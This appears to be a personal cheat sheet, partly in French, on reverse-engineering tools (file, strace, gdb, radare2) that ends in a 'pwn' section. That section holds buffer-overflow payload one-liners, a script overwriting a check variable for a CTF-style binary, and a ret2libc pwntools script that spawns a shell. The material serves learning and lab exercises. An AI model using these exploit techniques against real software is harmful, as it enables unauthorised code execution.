reverse
27/07/2019tools
# informations sur le fichier
$ file <binary>
# chaînes de caractères
$ strings -a -n 7 <binary>
# @ zones mémoires, @ fonctions, ...
$ nm <binary>
# appels de fonctions
$ ltrace <binary>
# appels système et signaux
$ strace <binary>
# @ fonctions
$ readelf -s <binary>
# messages noyau (ex: crash d'un prog. avec EIP)
$ dmesg
gdb
basic
$ gdb -q ./a.out
# intel syntax
> gdb set disassembly-flavor intel
# disas
> disas main
# disas with opcodes
> disas /r main
# help
> help run
> help all
# execution
> r # run
# functions addresses
> info function
# sections addresses
> info files
# set breakpoint
> b main
> b *0x12345678
> b 5 if i==2 # with condition
# edit breakpoints
> info break
> delete
> delete 1
> disable 1
> enable 1
# execute line by line (code) (sans profondeur)
> n # next
# execution until next breakpoint
> c # continue
# execute line by line (asm) (avec profondeur)
> step
> set pagination off
# show variable
> print i # p i
> p i
> p &i # show addresse
> whatis i # show type
# function signature
> whatis main
# show i value at each step
> display i
# quit
> q # quit
# edit varible
> set i=10
> set $eip=10
# show env variables
> show env
> show env PATH
# afficher la pile d'éxecution
> where
# afficher program counter
> print $pc
# sauter à une adresse
> x 0x55555555474b
# afficher stack pointer
> print $sp
# exécuter commande shell
> shell ps
# define function in gdb
> define xxd
>dump binary memory dump.bin $arg0 $arg0+$arg1
>shell xxd dump.bin
>end
> xxd &j 10
> i r # info registers
> x call_me
# ce qu'il y a à partir de l'adresse de esp (rsp)
> x/16x $esp
# affiche instru
> x/s 0x......
> x/s *((char **)environ)
> run < <(python3 ./shellcode.py)
graphic
# fenêtre avec le code
ctrl + x + a
# mode assembleur
ctrl + x + 2
# mode registres
ctrl + x + 2
# afficher registres de float
> tui reg float
# afficher les registres généraux
> tui reg general
# afficher tous les registres
> tui reg all
# commande précédente
ctrl + p
# backtrace
> bt
# reviens juste avant la fin
> reverse-stepi
functions
# executed at each stop (not only breakpoint)
> define hook-stop # with hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>p/c $al
>set $dl=$al
>end
# executed at each breakpoint
> command 1 2 3 4
Type commands for breakpoint(s) 1 2 3 4, one per line.
End with a line saying just "end".
>p/c $al
>set $dl=$al
>end
show variable
> x/[nb-bloc][format][bloc-size] [address]
# [nb-bloc] : nombre de blocs à afficher
# [format] : format d’affichage, s (string)/i (instruction machine)/x (hexadecimal)
# [bloc-size] : taille des blocs b(1byte)/h(2bytes)/w(4bytes)/g(8bytes)
# [address] : à partir d’où afficher la mémoire.
> p/d i # afficher mode signé
> p/u i # afficher mode non signé
> p/f i # mode flottant
> p/c i # mode caractère
> p/t i # mode binaire
> p/o i # mode octale
> p/x i # mode hexa
> p/a i # mode adresse
radare2
$ r2 -d -w -A ./file.bin
# -d: debug
# -w: allow writing
# -A: aaaa at start
# print functions
> afl
# jump to main function
> s main
# print current function
> pdf
# set breakpoint
> db 0x87654321
# continu (next breakpoint)
> dc
# next line
> ds
# info registers
> dr
# edit register
> dr eip=0x08048709
# new execution
> ood arg1 arg2
# local varibale values
> afvd
# show stack
> pxr @ esp
# edit instruction at 0x080486fc (r2 -w ...)
> s 0x080486fc
> wa jne 0x80486fe
pwn
# follow buffer overflow message
$ dmesg | tail
... segfault at 41414141 ... # or see -> 'ip' and not 'at'
# address of function
$ readelf -s vuln.out
# pack addresses
$ python3 -c "import struct; print(repr(struct.pack('<I', 0x080485cb)))"
b'\xcb\x85\x04\x08'
# payload example
$ python3 -c "import struct; print('A'*44 + struct.pack('<I', 0x080485cb))" | ./vuln
# shellcode on shell-storm.org/shellcode
$ (python3 -c "print('shell code')"; cat) | ./vuln
# LD_PRELOAD to replace function
python
#!/usr/bin/env python3
import sys
import struct
payload = b'A'*20 # to fill char buf[40];
payload += struct.pack('<I', 0xdeadc00f)
# <: little indian
# I; unsigned int
# Oxdeadbeef: change the value of 'check' to 0xdeadbeef
# print final payload in bytes
sys.stdout.buffer.write(payload)
# (python3 /tmp/get_flag.py; cat) | ./ch13
# example
import pwn
pwn.p32(0x080485cb) # same that pack
# push args then function
# ebp + 0x4 -> return address
# ebp + 0x8 -> arg 1
# ebp + 0xc -> arg 2
'A'*100 + EIP + return @ + arg1 + arg1 + ...
echo `python -c "print('A'*100)"` | ./vuln
# ret2libc
import pwn
gdb_puts = 0xf7e51ca0
gdb_system = 0xf7e2cda0
offset = gdb_puts - gdb_system
elf = pwn.ELF('./vuln')
p = elf.process()
prompt = p.recv()
puts = int(re.findall('puts: (.*)', prompt)[0], 16)
bin_sh = int(re.findall('useful_string: (.*)', prompt)[0], 16)
system = puts - offset
payload = 'A'*160
payload += pwn.p32(system)
payload += 'RETN'
payload += pwn.p32(bin_sh)
p.sendline(payload)
p.interactive()
$ python3
> import pwn
> import binascii
> binascii.hexlify(pwn.asm('xor eax, eax'))
b'31c0'
> binascii.hexlify(pwn.asm('nop'))
b'90'
protections
// TODO
sources
- vidéo
- vidéo
- vidéo
- https://www.dailysecurity.fr/
- https://www.dailysecurity.fr/la-stack-smashing-protection/
- https://www.segmentationfault.fr/linux/role-plt-got-ld-so/